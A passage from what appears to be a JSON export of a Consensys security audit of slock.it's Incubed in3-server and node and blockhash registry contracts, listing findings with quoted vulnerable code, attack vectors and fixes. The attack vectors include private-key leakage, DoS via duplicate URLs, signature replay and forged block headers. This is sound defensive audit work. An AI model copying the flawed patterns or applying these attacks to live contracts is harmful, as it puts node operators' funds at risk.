--rpcUrl=https://rpc.slock.it/kovan --minBlockHeight=6 --registry=0x27a37a1210df14f7e058393d026e2fb53b7cf8c1 --persistentFile=false\" The private key is also passed as arguments to other functions. In error cases these may leak the private key to log interfaces or remote log aggregation instances (sentry). See txargs.privateKey in the example below: code/in3-server/src/util/tx.ts:L100-L100 const key = toBuffer(txargs.privateKey) code/in3-server/src/util/tx.ts:L134-L140 const txHash = await transport.handle(url, { jsonrpc: '2.0', id: idCount++, method: 'eth_sendRawTransaction', params: [toHex(tx.serialize())] }).then((_: RPCResponse) => _.error ? Promise.reject(new SentryError('Error sending tx', 'tx_error', 'Error sending the tx ' + JSON.stringify(txargs) + ':' + JSON.stringify(_.error))) as any : _.result + '') Recommendation Keys should never be stored or accepted in plaintext format. Keys should not be stored in plaintext on the file-system as they might easily be exposed to other users. Credentials on the file-system must be tightly restricted by access control. Keys should not be provided as plaintext via environment variables as this might make them available to other processes sharing the same environment (child-processes, e.g. same shell session) Keys should not be provided as plaintext via command-line arguments as they might persist in the shell s command history or might be available to privileged system accounts that can query other processes startup parameters. Keys should only be accepted in an encrypted and protected format. A single key should be used for only one purpose. Keys should not be shared. The use of the same key for two different cryptographic processes may weaken the security provided by one or both of the processes. The use of the same key for two different applications may weaken the security provided by one or both of the applications. Limiting the use of a key limits the damage that could be done if the key is compromised. Node owners keys should not be re-used as signer keys. The application should support developers in understanding where cryptographic keys are stored within the application as well as in which memory regions they might be accessible for other applications. Keys should be protected in memory and only decrypted for the duration of time they are actively used. Keys should not be stored with the applications source-code repository. Use standard libraries for cryptographic operations. Use the system keystore and API to sign and avoid to store key material at all. The application should store the keys eth-address (util.getAddress()) instead of re-calculating it multiple times from the private key. Do not leak credentials and key material in debug-mode, to local log-output or external log aggregators. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.9 NodeRegistry - Multiple nodes can share slightly different RPC URL ", "body": " Resolution Same mitigation as issue 6.4. Description One of the requirements for Node registration is to have a unique URL which is not already used by a different owner. The uniqueness check is done by hashing the provided _url and checking if someone already registered with that hash of _url. However, byte-equality checks (via hashing in this case) to enforce uniqueness will not work for URLs. For example, while the following URLs are not equal and will result in different urlHashes they can logically be the same end-point: https://some-server.com/in3-rpc https://some-server.com:443/in3-rpc https://some-server.com/in3-rpc/ https://some-server.com/in3-rpc/// https://some-server.com/in3-rpc?something https://some-server.com/in3-rpc?something&something https://www.some-server.com/in3-rpc?something (if www resolves to the same ip) code/in3-contracts/contracts/NodeRegistry.sol:L547-L553 bytes32 urlHash = keccak256(bytes(_url)); // make sure this url and also this owner was not registered before. // solium-disable-next-line require(!urlIndex[urlHash].used && signerIndex[_signer].stage == Stages.NotInUse, \"a node with the same url or signer is already registered\"); This leads to the following attack vectors: A user signs up multiple nodes that resolve to the same end-point (URL). A minimum deposit of 0.01 ether is required for each registration. Registering multiple nodes for the same end-point might allow an attacker to increase their chance of being picked to provide proofs. Registering multiple nodes requires unique signer addresses per node. Also one node can have multiple accounts, hence one node can have slightly different URL and different accounts as the signers. DoS - A user might register nodes for URLs that do not serve in3-clients in an attempt to DDoS e.g. in an attempt to extort web-site operators. This is kind of a reflection attack where nodes will request other nodes from the contract and try to contact them over RPC. Since it is http-rpc it will consume resources on the receiving end. DoS - A user might register Nodes with RPC URLs of other nodes, manipulating weights to cause more traffic than the node can actually handle. Nodes will try to communicate with that node. If no proof is requested the node will not even know that someone else signed up other nodes with their RPC URL to cause problems. If they request proof the original signer will return a signed proof and the node will fail due to a signature mismatch. However, the node cannot be convicted and therefore forced to lose the deposit as conviction is bound the signer and the block was not signed by the rogue node entry. There will be no way to remove the node from the registry other than the admin functionality. Recommendation Canonicalize URLs, but that will not completely prevent someone from registering nodes for other end-points or websites. Nodes can be removed by an admin in the first year but not after that. Rogue owners cannot be prevented from registering random nodes with high weights and minimum deposit. They cannot be convicted as they do not serve proofs. Rogue owners can still unregister to receive their deposit after messing with the system. ", "labels": ["Consensys", "Major", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.10 in3-server - should enforce safe settings for minBlockHeight ", "body": " Resolution The default block is changed to 10 and minBlockHeight is added to the registry (as part of the properties) in 8c72633e, but allow the user to define a minBlockHeight lower than this number. The client is responsible to review the settings depending on how secure they want their nodes to be. Client response: We have discussed this, but decided to keep it flexible. This means: We have put the minBlockHeight into the registry (as part of the properties). Because these properties indicate the limit and capabilities of the node and give the client a chance to filter out nodes if they don t match the requirements. So each client is able to filter out node who are not willing to take the risk and sign for example latest-6. Of course these nodes will most likely only store a low deposit ( you can not have a signature of a young block and a high deposit), but if you need a high security the nodes with a deposit will propably wait at least 10 or more blocks. In order to protect the owner of a node of using insecure settings, we will use our wizard to check the deposit and minBlockHeights and warn or educate the user. The reason why this flexibility is important, is because there use cases where dapps will not accept the let user wait 10 blocks before confirming a transaction. If the dapp developer needs a signature of a younger block, he will need to live with the fact, that he won t be able to find a high deposit to secure it. We also changed the default to 10 blocks, but allow the user to define a minBlockHeight lower than this number. In this case the node would write a warning in the logfile, but still accepts the user configuration. This allows to use incubed also on different chains other than the mainnet. The safeMinBlockHeight is now dependend on different chains, which is one single function, so we don t have hardcoded values in different places anymore. Description A node that is signing wrong blockhashes might get their deposit slashed from the registry. The entity that is convicting a node that signs a wrong blockhash is awarded half of the deposit. A threat to this kind of system is that blocks might constantly be reorganized in the chain, especially with the latest block. Allowing a node to sign the latest block will definitely put the node s deposit at stake with every signature they provide. A node can configure the minBlockHeight it is about to sign with a configurative option. The option defaults to a minBlockHeight of 6 in the default config: code/in3-server/src/server/config.ts:L32-L32 minBlockHeight: 6, And again in the signing function for blockheaders: code/in3-server/src/chains/signatures.ts:L189-L189 const blockHeight = handler.config.minBlockHeight === undefined ? 6 : handler.config.minBlockHeight handleSign will refuse to sign any block that is within the last 5 blocks. The 6th block will be signed. code/in3-server/src/chains/signatures.ts:L190-L193 const tooYoungBlock = blockData.find(block => toNumber(blockNumber) - toNumber(block.number) < blockHeight) if (tooYoungBlock) throw new Error(' cannot sign for block ' + tooYoungBlock.number + ', because the blockHeight must be at least ' + blockHeight) However, a user is not prevented from configuring an insecure minBlockHeight (e.g. 0) which will very likely lead to the loss of funds because the node will be signing the latest block. Kraken requires at least 30 confirmation (abt. 6 minutes) until a transaction is confirmed. For Bitcoin it is said to be safe to wait more than 6 blocks (abt. 1 hr) for a transaction to be confirmed. ETC even underwent a deep chain reorg that could have caused many nodes to lose their deposits. The ethereum whitepaper defines an uncle that can be referenced in a block to have the following property: Bitfinex requires a minimum of 10 confirmations. Some blockchain explorers and analytics tools also require a minimum of 10 confirmations. Scraped data from https://etherscan.io/blocks_forked?ps=100 shows 3 forks of depth 3 since they started keeping records 115 days ago, and no forks deeper than 3. So some applications might legitimately pick a number somewhere between 5 and 20, trading some security for better UX. However, it should be re-evaluated whether the current default provides enough security to protect the nodes funds with a trade-off of lag to the network. Given these values it is suggested to revalidate the default of a minBlockHeight of 6 in favor of a more secure depth to make sure that - with a default setting - nodes will not lose funds in case of re-orgs. Recommendation config.minBlockHeight should always be set to a sane value when loading the configuration. There should be no need to reset it to a hardcoded default value of 6 in handleSign. Do not hardcode the values in various places in the config. normalize and sanitize the settings to make sure that after loading they are always valid and within reasonable bounds. the application should refuse to run with a minBlockHeader set to 0 as this is a guarantee for losing funds. Other nodes can enumerate nodes that are misconfigured (e.g. with minBlockHeight being 0) to request signatures just to convict them on micro-forks. assume a secure default setting for every chain (note that this might be different for every chain). allow to override the value by the user. warn the user of less secure settings and do not allow to set settings that are obviously leading to the loss of funds. re-evaluate the minBlockHeight of 6 for the ethereum blockchain and choose a koservative secure default. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.11 in3-server - rpc proof handler specification inconsistency ", "body": " Resolution Addressed with https://git.slock.it/in3/ts/in3-server/issues/100. Checks for Description According to the specification incubed requests must specify whether they want to have a proof or not. There are three variants of proofs that can be requested: never - no proof appended proof - proof but no signed blockhashes proofWithSignature- proof and a request to sign blockhashes from the list of addresses provided in signatures. Note that the name signatures for the array of signers a blockhash signature is requested from is misleading. It is actually signer addresses as listed in the NodeRegistry and not signatures. Following the in3-server we found at least one inconsistency (and suspect more) with the proof requested by a client. The graceful check for the existence of something starting with proof will pass proof and proofWithSignature but also any other proofXYZ to the blockproof handler. code/in3-server/src/modules/eth/EthHandler.ts:L106-L112 if (request.in3.verification.startsWith('proof')) switch (request.method) { case 'eth_getBlockByNumber': case 'eth_getBlockByHash': case 'eth_getBlockTransactionCountByHash': case 'eth_getBlockTransactionCountByNumber': return handleBlock(this, request) Following through handleBlock we cannot find any check for proofWithSignature. The string is not found in the whole codebase which also suggests it is not tested. However, the code assumes that because request.in3.signatures is not empty, signatures were requested. This is inconsistent with the specification and a protocol violation. code/in3-server/src/modules/eth/proof.ts:L237-L244 // create the proof response.in3 = { proof: { type: 'blockProof', signatures: await collectSignatures(handler, request.in3.signatures, [{ blockNumber: toNumber(blockData.number), hash: blockData.hash }], request.in3.verifiedHashes) The same is valid for all other types of proofs. proofWithSignature is never checked and it is assumed that proofWithSignature was requested just because request.in3.signatures is present non-empty. The same is true for never which is actually never handled in code. Recommendation The protocol should be strictly enforced without allowing any ambiguities and unsharpness. Ambiguities and gracefulness in the protocol can lead to severe inconsistencies and encourage client authors to not strictly adhere to the protocol. This makes it hard to update and maintain the protocol in the future and may allow potential attackers enough freedom to exploit the protocol. Furthermore the specification must be kept up-to-date at all times. The specification is to lead development and code must always be verified against the specification. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.12 in3-server - hardcoded gas limit could result in failed transactions/requests ", "body": " Resolution Fixed by using web3 merge_requests/109 to dynamically price the gas according to the network state. Description There are many instances of hardcoded gas limit in in3-server that depending on the complexity of the transaction or gas cost changes in Ethereum could result in failed transactions. Examples convict(): code/in3-server/src/chains/signatures.ts:L132-L137 await callContract(handler.config.rpcUrl, nodes.contract, 'convict(uint,bytes32)', [s.block, convictSignature], { privateKey: handler.config.privateKey, gas: 500000, value: 0, confirm: true // we are not waiting for confirmation, since we want to deliver the answer to the client. }) recreateBlockheaders(): code/in3-server/src/chains/signatures.ts:L275-L280 await callContract(handler.config.rpcUrl, blockHashRegistry, 'recreateBlockheaders(uint,bytes[])', [latestSS - diffBlock, txArray], { privateKey: handler.config.privateKey, gas: 8000000, value: 0, confirm: true // we are not waiting for confirmation, since we want to deliver the answer to the client. }) Other instances of hard coded gasLimit or gasPrice: code/in3-server/src/modules/eth/EthHandler.ts:L78-L79 if (!tx || (tx.gas && toNumber(tx.gas) > 10000000)) throw new Error('eth_call with a gaslimit > 10M are not allowed') Recommendation Use web3 gas estimate instead. To be sure, there can be an additional gas added to the estimated value or max(HARDCODED_GAS, estimated_amount) ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.13 in3-server - handleRecreation tries to recreate blockchain if no block is available to recreate it from ", "body": " Resolution Mitigated by 502b5528 by falling back to using the current block in case searchForAvailableBlock returns 0. Costs can be zero, but cannot be negative anymore. The behaviour of the IN3-server code is outside the scope of this audit. However, while verifying the fixes for this specific issue it was observed that the watch.ts:handleConvict() relies on a static hardcoded cost calculation. We further note that the cost calculation formula has an error and is missing parentheses to avoid that costs can be zero. We did not see a reason for the costs not to be allowed to be zero. Furthermore, costs are calculated based on the difference of the conviction block to the latest block. Actual recreation costs can be less if there is an available block in blockhashRegistry to recreate it from that is other than the latest block. Description A node that wants to convict another node for false proof must update the BlockhashRegistry for signatures provided in blocks older than the most recent 256 blocks. Only when the smart contract is able to verify that the signed blockhash is wrong the convicting node will be able to receive half of its deposit. The in3-server implements an automated mechanism to recreate blockhashes. It first searches for an existing blockhash within a range of blocks. If one is found and it is profitable (gas spend vs. amount awarded) the node will try to recreate the blockchain updating the registry. The call to searchForAvailableBlock might return 0 (default) because no block is actually found within the range, this will cause costs to be negative and the code will proceed trying to convict the node even though it cannot work. The call to searchForAvailableBlock might also return the convict block number (latestSS==s.block) in which case costs will be 0 and the code will still proceed trying to recreate the blockheaders and convict the node. code/in3-server/src/chains/signatures.ts:L207-L231 const [, deposit, , , , , , ,] = await callContract(handler.config.rpcUrl, nodes.contract, 'nodes(uint):(string,uint,uint64,uint64,uint128,uint64,address,bytes32)', [toNumber(singingNode.index)]) const latestSS = toNumber((await callContract(handler.config.rpcUrl, blockHashRegistry, 'searchForAvailableBlock(uint,uint):(uint)', [s.block, diffBlocks]))[0]) const costPerBlock = 86412400000000 const blocksMissing = latestSS - s.block const costs = blocksMissing * costPerBlock * 1.25 if (costs > (deposit / 2)) { console.log(\"not worth it\") //it's not worth it return else { // it's worth convicting the server const blockrequest = [] for (let i = 0; i < blocksMissing; i++) { blockrequest.push({ jsonrpc: '2.0', id: i + 1, method: 'eth_getBlockByNumber', params: [ toHex(latestSS - i), false }) Please note that certain parts of the code rely on hardcoded gas values. Gas economics might change with future versions of the evm and have to be re-validated with every version. It is also good practice to provide inline comments about how and on what base certain values were selected. Recommendation Verify that the call succeeds and returns valid values. Check if the block already exists in the BlockhashRegistry and avoid recreation. Also note that searchForAvailableBlock can wrap with values close to uint_max even though that is unlikely to happen. In general, return values for external calls should be validated more rigorously. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.14 Impossible to remove malicious nodes after the initial period ", "body": " Resolution This issue has been addressed with a large change-set that splits the NodeRegistry into two contracts, which results in a code flow that mitigates this issue by making the logic contract upgradable (after 47 days of notice). The resolution adds more complexity to the system, and this complexity is not covered by the original audit. Splitting up the contracts has the side-effect of events being emitted by two different contracts, requiring nodes to subscribe to both contracts events. The need for removing malicious nodes from the registry, arises from the design decision to allow anyone to register any URL. These URLs might not actually belong to the registrar of the URL and might not be IN3 nodes. This is partially mitigated by a centralization feature introduced in the mitigation phase that implements whitelist functionality for adding nodes. We generally advocate against adding complexity, centralization and upgrading mechanisms that can allow one party to misuse functionalities of the contract system for their benefit (e.g. adminSetNodeDeposit is only used to reset the deposit but allows the Logic contract to set any deposit; the logic contract is set by the owner and there is a 47 day timelock). We believe the solution to this issue, should have not been this complex. The trust model of the system is changed with this solution, now the logic contract can allow the admin a wide range of control over the system state and data. The following statement has been provided with the change-set: During the 1st year, we will keep the current mechanic even though it s a centralized approach. However, we changed the structure of the smart contracts and separated the NodeRegistry into two different smart contracts: NodeRegistryLogic and NodeRegistryData. After a successful deployment only the NodeRegistryLogic-contract is able to write data into the NodeRegistryData-contract. This way, we can keep the stored data (e.g. the nodeList) in the NodeRegistryData-contract while changing the way the data gets added/updated/removed is handled in the NodeRegistryLogic-contract. We also provided a function to update the NodeRegistryLogic-contract, so that we are able to change to a better solution for removing nodes in an updated contract. Description The system has centralized power structure for the first year after deployment. An unregisterKey (creator of the contract) is allowed to remove Nodes that are in state Stages.Active from the registry, only in 1st year. However, there is no possibility to remove malicious nodes from the registry after that. code/in3-contracts/contracts/NodeRegistry.sol:L249-L264 /// @dev only callable in the 1st year after deployment function removeNodeFromRegistry(address _signer) external onlyActiveState(_signer) // solium-disable-next-line security/no-block-members require(block.timestamp < (blockTimeStampDeployment + YEAR_DEFINITION), \"only in 1st year\");// solhint-disable-line not-rely-on-time require(msg.sender == unregisterKey, \"only unregisterKey is allowed to remove nodes\"); SignerInformation storage si = signerIndex[_signer]; In3Node memory n = nodes[si.index]; unregisterNodeInternal(si, n); Recommendation Provide a solution for the network to remove fraudulent node entries. This could be done by voting mechanism (with staking, etc). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.15 NodeRegistry.registerNodeFor() no replay protection and expiration ", "body": " Resolution This issue was addressed with the following statement: In our understanding of the relationship between node-owner and signer the owner both are controlled by the very same entity, thus the owner should always know the privateKey of the signer. With this in mind a replay-protection would be useless, as the owner could always sign the necessary message. The reason why we separated the signer from the owner was to enable the possibility of owning an in3-node as with a multisig-account, as due to the nature of the exposal of the signer-key the possibility of it being leaked somehow is given (e.g. someone hacks the server), making the signer-key more unsecure. In addition, even though it s possible to replay the register as an owner it would unfeasable, as the owner would have to pay for the deposit anyway thus rendering the attack useless as there would be no benefit for an owner to do it. Description An owner can register a node with the signer not being the owner by calling registerNodeFor. The owner submits a message signed for the owner including the properties of the node including the url. The signed data does not include the registryID nor the NodeRegistry s address and can therefore be used by the owner to submit the same node to multiple registries or chains without the signers consent. The signed data does not expire and can be re-used by the owner indefinitely to submit the same node again to future contracts or the same contract after the node has been removed. Arguments are not validated in the external function (also see issue 6.17) code/in3-contracts/contracts/NodeRegistry.sol:L215-L223 bytes32 tempHash = keccak256( abi.encodePacked( _url, _props, _timeout, _weight, msg.sender ); Recommendation Include registryID and an expiration timestamp that is checked in the contract with the signed data. Validate function arguments. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.16 BlockhashRegistry - Structure of provided blockheaders should be validated ", "body": " Resolution Mitigated by: 99f35fce - validating the block number in the provided RLP encoded input data 79e5a302 - fixes the potential out of bounds access for parentHash by requiring the the input to contain at least data up until including the parentHash in the user provided RLP blob. However, this check does not enforce that the minimum amount of data is available to extract the blockNumber Additionally we would like to note the following: While the code decodes the RLPLongList structure that contains the blockheader fields it does not decode the RLPLongString parentHash and just assumes one length-byte for it. The length of the RLPLongString parentHash is never used but skipped instead. The decoding is incomplete and fragile. The method does not attempt to decode other fields in the struct to verify that they are indeed valid RLP data. For the blockNumber extraction a fixed offset of 444 is assumed to access the difficulty RLP field (this might through as the minimum input length up to this field is not enforced). difficulty is then skipped and the blockNumber is accessed. The minimum input data length enforced is shorter than a typical blockheader. The code relies on implicit exceptions for out of bounds array access instead of verifying early on that enough input bytes are available to extract the required data. We would also like to note that the commit referenced as mitigation does not appear to be based on the audit code. Description getParentAndBlockhash takes an rlp-encoded blockheader blob, extracts the parent parent hash and returns both the parent hash and the calculated blockhash of the provided data. The method is used to add blockhashes to the registry that are older than 256 blocks as they are not available to the evm directly. This is done by establishing a trust-chain from a blockhash that is already in the registry up to an older block The method assumes that valid rlp encoded data is provided but the structure is not verified (rlp decodes completely; block number is correct; timestamp is younger than prevs, \u2026), giving a wide range of freedom to an attacker with enough hashing power (or exploiting potential future issues with keccak) to forge blocks that would never be accepted by clients, but may be accepted by this smart contract. (threat: mining pool forging arbitrary non-conformant blocks to exploit the BlockhashRegistry) It is not checked that input was actually provided. However, accessing an array at an invalid index will raise an exception in the EVM. Providing a single byte > 0xf7 will yield a result and succeed even though it would have never been accepted by a real node. It is assumed that the first byte is the rlp encoded length byte and an offset into the provided _blockheader bytes-array is calculated. Memory is subsequently accessed via a low-level mload at this calculated offset. However, it is never validated that the offset actually lies within the provided range of bytes _blockheader leading to an out-of-bounds memory read access. The rlp encoded data is only partially decoded. For the first rlp list the number of length bytes is extracted. For the rlp encoded long string a length byte of 1 is assumed. The inline comment appears to be inaccurate or might be misleading. // we also have to add \"2\" = 1 byte to it to skip the length-information Invalid intermediary blocks (e.g. with parent hash 0x00) will be accepted potentially allowing an attacker to optimize the effort needed to forge invalid blocks skipping to the desired blocknumber overwriting a certain blockhash (see issue 6.18) With one collisions (very unlikely) an attacker can add arbitrary or even random values to the BlockchainRegistry. The parent-hash of the starting blockheader cannot be verified by the contract ([target_block_random]<--parent_hash--[rnd]<--parent_hash--[rnd]<--parent_hash--...<--parent_hash--[collision]<--parent_hash_collission--[anchor_block]). While nodes can verify block structure and bail on invalid structure and check the first blocks hash and make sure the chain is in-tact the contract can t. Therefore one cannot assume the same trust in the blockchain registry when recreating blocks compared to running a full node. code/in3-contracts/contracts/BlockhashRegistry.sol:L98-L126 function getParentAndBlockhash(bytes memory _blockheader) public pure returns (bytes32 parentHash, bytes32 bhash) { /// we need the 1st byte of the blockheader to calculate the position of the parentHash uint8 first = uint8(_blockheader[0]); /// calculates the offset /// by using the 1st byte (usually f9) and substracting f7 to get the start point of the parentHash information /// we also have to add \"2\" = 1 byte to it to skip the length-information require(first > 0xf7, \"invalid offset\"); uint8 offset = first - 0xf7 + 2; /// we are using assembly because it's the most efficent way to access the parent blockhash within the rlp-encoded blockheader // solium-disable-next-line security/no-inline-assembly assembly { // solhint-disable-line no-inline-assembly // mstore to get the memory pointer of the blockheader to 0x20 mstore(0x20, _blockheader) // we load the pointer we just stored // then we add 0x20 (32 bytes) to get to the start of the blockheader // then we add the offset we calculated // and load it to the parentHash variable parentHash :=mload( add( add( mload(0x20), 0x20 ), offset) bhash = keccak256(_blockheader); Recommendation Validate that the provided data is within a sane range of bytes that is expected (min/max blockheader sizes). Validate that the provided data is actually an rlp encoded blockheader. Validate that the offset for the parent Hash is within the provided data. Validate that the parent Hash is non zero. Validate that blockhashes do not repeat. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.17 Registries - Incomplete input validation and inconsistent order of validations Pending", "body": " Resolution This issue describes general inconsistencies of the smart contract code base. The inconsistencies have been addressed with multiple change-sets: Issues that have been addressed by the development team: BlockhashRegistry.reCalculateBlockheaders - bhash can be zero; blockheaders can be empty Fixed in 8d2bfa40 by adding the missing checks. BlockhashRegistry.recreateBlockheaders - blockheaders can be empty; Arguments should be validated before calculating values that depend on them. Fixed in 8d2bfa40 by adding the missing checks. NodeRegistry.removeNode - should check require(_nodeIndex < nodes.length) first before any other action. Fixed in 47255587 by adding the missing checks. NodeRegistry.registerNodeFor - Signature version v should be checked to be either 27 || 28 before verifying it. The fix in 47255587 introduced a serious typo (v != _v) that has been fixed with 4a0377c5 . NodeRegistry.revealConvict - unchecked signer Addressed with the comment that signer gets checked by ecrecover (slock.it/issue/10). NodeRegistry.revealConvict - signer status can be checked earlier. Addressed with the following comment (slock.it/issue/10): Due to the seperation of the contracts we will now check check the signatures and whether the blockhash is right. Only after this steps we will call into the NodeRegistryData contracts, thus potentially saving gas NodeRegistry.updateNode - the check if the newURL is registered can be done earlier Fixed in 4786a966. BlockhashRegistry.getParentAndBlockhash- blockheader structure can be random as long as parenthash can be extracted This issue has been reviewed as part of issue 6.16 (99f35fce). Issues that have not been addressed by the development team and still persist: BlockhashRegistry.searchForAvailableBlock - _startNumber + _numBlocks can be > block.number; _startNumber + _numBlocks can overflow. This issue has not been addressed. General Notes: Ideally commits directly reference issues that were raised during the audit. During the review of the mitigations provided with the change-sets for the listed issues we observed that change-sets contain changes that are not directly related to the issues. (e.g. 79e5a302) Description Methods and Functions usually live in one of two worlds: public API - methods declared with visibility public or external exposed for interaction by other parties internal API - methods declared with visibility internal, private that are not exposed for interaction by other parties While it is good practice to visually distinguish internal from public API by following commonly accepted naming convention e.g. by prefixing internal functions with an underscore (_doSomething vs. doSomething) or adding the keyword unsafe to unsafe functions that are not performing checks and may have a dramatic effect to the system (_unsafePayout vs. RequestPayout), it is important to properly verify that inputs to methods are within expected ranges for the implementation. Input validation checks should be explicit and well documented as part of the code s documentation. This is to make sure that smart-contracts are robust against erroneous inputs and reduce the potential attack surface for exploitation. It is good practice to verify the methods input as early as possible and only perform further actions if the validation succeeds. Methods can be split into an external or public API that performs initial checks and subsequently calls an internal method that performs the action. The following lists some public API methods that are not properly checking the provided data: BlockhashRegistry.reCalculateBlockheaders - bhash can be zero; blockheaders can be empty BlockhashRegistry.getParentAndBlockhash- blockheader structure can be random as long as parenthash can be extracted BlockhashRegistry.recreateBlockheaders - blockheaders can be empty; Arguments should be validated before calculating values that depend on them: code/in3-contracts/contracts/BlockhashRegistry.sol:L70-L70 assert(_blockNumber > _blockheaders.length); BlockhashRegistry.searchForAvailableBlock - _startNumber + _numBlocks can be > block.number; _startNumber + _numBlocks can overflow. NodeRegistry.removeNode - should check require(_nodeIndex < nodes.length) first before any other action. code/in3-contracts/contracts/NodeRegistry.sol:L602-L609 function removeNode(uint _nodeIndex) internal { // trigger event emit LogNodeRemoved(nodes[_nodeIndex].url, nodes[_nodeIndex].signer); // deleting the old entry delete urlIndex[keccak256(bytes(nodes[_nodeIndex].url))]; uint length = nodes.length; assert(length > 0); NodeRegistry.registerNodeFor - Signature version v should be checked to be either 27 || 28 before verifying it. code/in3-contracts/contracts/NodeRegistry.sol:L200-L212 function registerNodeFor( string calldata _url, uint64 _props, uint64 _timeout, address _signer, uint64 _weight, uint8 _v, bytes32 _r, bytes32 _s external payable NodeRegistry.revealConvict - unchecked signer code/in3-contracts/contracts/NodeRegistry.sol:L321-L321 SignerInformation storage si = signerIndex[_signer]; NodeRegistry.revealConvict - signer status can be checked earlier. code/in3-contracts/contracts/NodeRegistry.sol:L344-L344 require(si.stage != Stages.Convicted, \"node already convicted\"); NodeRegistry.updateNode - the check if the newURL is registered can be done earlier code/in3-contracts/contracts/NodeRegistry.sol:L444-L444 require(!urlIndex[newURl].used, \"url is already in use\"); Recommendation Use Checks-Effects-Interactions pattern for all functions. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.18 BlockhashRegistry - recreateBlockheaders allows invalid parent hashes for intermediary blocks ", "body": " Resolution Fixed by requiring valid parent hashes for blockheaders. Description It is assumed that a blockhash of 0x00 is invalid, but the method accepts intermediary parent hashes extracted from blockheaders that are zero when establishing the trust chain. This may allow an attacker with enough hashing power to store a blockheader hash that is actually invalid on the real chain but accepted within this smart contract. This may even only be done temporarily to overwrite an existing hash for a short period of time (see https://github.com/ConsenSys/slockit-in3-audit-2019-09/issues/24). code/in3-contracts/contracts/BlockhashRegistry.sol:L141-L147 for (uint i = 0; i < _blockheaders.length; i++) { (calcParent, calcBlockhash) = getParentAndBlockhash(_blockheaders[i]); if (calcBlockhash != currentBlockhash) { return 0x0; currentBlockhash = calcParent; Recommendation Stop processing the array of _blockheaders immediately if a blockheader is invalid. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.19 BlockhashRegistry - recreateBlockheaders succeeds and emits an event even though no blockheaders have been provided ", "body": " Resolution Fixed the vulnerable scenarios by adding proper checks to: Prevent passing empty _blockheaders in 8d2bfa40 Prevent storing the same blockhash twice in 80bb6ecf Description The method is used to re-create blockhashes from a list of rlp-encoded _blockheaders. However, the method never checks if _blockheaders actually contains items. The result is, that the method will unnecessarily store the same value that is already in the blockhashMapping at the same location and wrongly log LogBlockhashAdded even though nothing has been added nor changed. assume _blockheaders is empty and the registry already knows the blockhash of _blockNumber code/in3-contracts/contracts/BlockhashRegistry.sol:L61-L67 function recreateBlockheaders(uint _blockNumber, bytes[] memory _blockheaders) public { bytes32 currentBlockhash = blockhashMapping[_blockNumber]; require(currentBlockhash != 0x0, \"parentBlock is not available\"); bytes32 calculatedHash = reCalculateBlockheaders(_blockheaders, currentBlockhash); require(calculatedHash != 0x0, \"invalid headers\"); An attempt is made to re-calculate the hash of an empty _blockheaders array (also passing the currentBlockhash from the registry) code/in3-contracts/contracts/BlockhashRegistry.sol:L66-L66 bytes32 calculatedHash = reCalculateBlockheaders(_blockheaders, currentBlockhash); The following loop in reCalculateBlockheaders is skipped and the currentBlockhash is returned. code/in3-contracts/contracts/BlockhashRegistry.sol:L134-L149 function reCalculateBlockheaders(bytes[] memory _blockheaders, bytes32 _bHash) public pure returns (bytes32 bhash) { bytes32 currentBlockhash = _bHash; bytes32 calcParent = 0x0; bytes32 calcBlockhash = 0x0; /// save to use for up to 200 blocks, exponential increase of gas-usage afterwards for (uint i = 0; i < _blockheaders.length; i++) { (calcParent, calcBlockhash) = getParentAndBlockhash(_blockheaders[i]); if (calcBlockhash != currentBlockhash) { return 0x0; currentBlockhash = calcParent; return currentBlockhash; The assertion does not fire, the bnr to store the calculatedHash is the same as the one initially provided to the method as an argument.. Nothing has changed but an event is emitted. code/in3-contracts/contracts/BlockhashRegistry.sol:L69-L74 /// we should never fail this assert, as this would mean that we were able to recreate a invalid blockchain assert(_blockNumber > _blockheaders.length); uint bnr = _blockNumber - _blockheaders.length; blockhashMapping[bnr] = calculatedHash; emit LogBlockhashAdded(bnr, calculatedHash); Recommendation The method is crucial for the system to work correctly and must be tightly controlled by input validation. It should not be allowed to overwrite an existing value in the contract (issue 6.29) or emit an event even though nothing has happened. Therefore validate that user provided input is within safe bounds. In this case, that at least one _blockheader has been provided. Validate that _blockNumber is less than block.number and do not expect that parts of the code will throw and safe the contract from exploitation. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/09/slock.it-incubed3/"}, {"title": "6.20 NodeRegistry.updateNode replaces signer with owner and emits inconsistent events ", "body": " Resolution Reviewed merged changes at in3-contracts/5cb54165. The method now emits a distinct event twice when node properties are updated. The event correctly emits the signer. When updating a node URL, the new URLInformation now correctly sets the signer. However, there is a discrepancy between the process of registering a node and updating node s properties. When registering a node the owner has to provide a signed message containing the registration properties from the signer. Once the node is registered it can be unilaterally updated by the owner without requiring the signers permission to do so. According to slock.it it is assumed that the node owner and the signer are in control of the same entity and therefore this is not a concern. Description https://github.com/ConsenSys/slockit-in3-audit-2019-09/issues/36). code/in3-contracts/contracts/NodeRegistry.sol:L438-L452 if (newURl != keccak256(bytes(node.url))) { // deleting the old entry delete urlIndex[keccak256(bytes(node.url))]; // make sure the new url is not already in use require(!urlIndex[newURl].used, \"url is already in use\"); UrlInformation memory ui; ui.used = true; ui.signer = msg.sender; 